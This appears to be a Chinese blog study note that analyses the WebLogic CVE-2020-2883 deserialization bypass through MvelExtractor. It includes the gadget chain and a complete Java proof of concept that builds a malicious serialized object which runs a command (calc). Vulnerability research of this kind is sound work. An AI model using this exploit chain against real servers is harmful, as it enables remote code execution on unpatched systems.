Weblogic CVE-2020-2883(bypass CVE-2020-2555补丁)

前言:作为weblogic cve-2020-2883的学习笔记

CVE-2020-2883漏洞介绍

在CVE-2020-2555中造成命令执行的根本原因是找到了ReflectionExtractor类,这个类实现了调用任意类的任意方法的行为,在CVE-2020-2555中的修复方法则是将该类列出了反序列化的黑名单中。

但是在后续的CVE-2020-2883中的利用点是通过MvelExtractor来进行实现绕过,这里需要说明下这个MvelExtractor类只是绕过的其中的一种方法,自己这里学习下,其他的利用链也是可以进行利用的,这里自己不一一分析了。

然后还需要说的一个注意点就是,MvelExtractor能绕过CVE-2020-2883,那自然之前的环境也是同样可以进行利用的,这点不要被混淆了,CVE只是编号。

CVE-2020-2883漏洞分析

自己这里的环境配置为如下:

1、weblogic 12.2.1.4.0

2、jdk 8u181

调用链

 * gadget:
 *      BadAttributeValueExpException.readObject()
 *          com.tangosol.util.filter.LimitFilter.toString()
 *              com.tangosol.util.extractor.ChainedExtractor.extract()
 *                  com.tangosol.util.extractor.MvelExtractor.extract()
 *                      MVEL.executeExpression()
 *                      ...
 *                        Runtime.getRuntime.exec()

然后接着记录下绕过记录

MvelExtractor类和ReflectionExtractor类一样,都实现了ValueExtractor接口

并且自身同样实现了序列化和反序列化

com.tangosol.coherence.rest.util.extractor.MvelExtractor

该类中的extract方法内容如下,可以看到getCompiledExpression方法返回的是this.m_oExpr,该字段是protected,但是是可控制的,其中通过MVEL.compileExpression(this.m_sExpr, ctx);来对其进行编译表达式

这里可以看到

    public Object extract(Object oTarget) {
        return oTarget == null ? null : MVEL.executeExpression(this.getCompiledExpression(), oTarget);
    }

    protected Serializable getCompiledExpression() {
        Serializable oExpr = this.m_oExpr;
        if (oExpr == null) {
            ParserContext ctx = RestHelper.getMvelParserContext();
            this.m_oExpr = oExpr = MVEL.compileExpression(this.m_sExpr, ctx);
        }

        return oExpr;
    }

所以这里的话通过MvelExtractor来进行执行命令就非常的简单了,并且可以不用通过ReflectionExtractor

public class CVE_2020_2883 {
    public static void main(String[] args) throws Exception{
        MvelExtractor mvelExtractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");");
        
        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{mvelExtractor});
        LimitFilter limitFilter = new LimitFilter();

        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, chainedExtractor);
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, String.class);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, limitFilter);

        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("weblogic_2020_2883.ser"));
            os.writeObject(badAttributeValueExpException);
            os.close();
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("weblogic_2020_2883.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里没有记录关于Mvel的表达式的使用,我自己也没查如何进行使用,这篇笔记可能单纯的就记录下MvelExtractor基于表达式执行导致的绕过的一种方法吧

运行结果如下图所示:

回显参考:https://www.cnblogs.com/zpchcbd/p/15629063.html

#基于Comparator的调用链

posted @ 2021-12-03 19:23  zpchcbd  阅读(790)  评论(0)    收藏  举报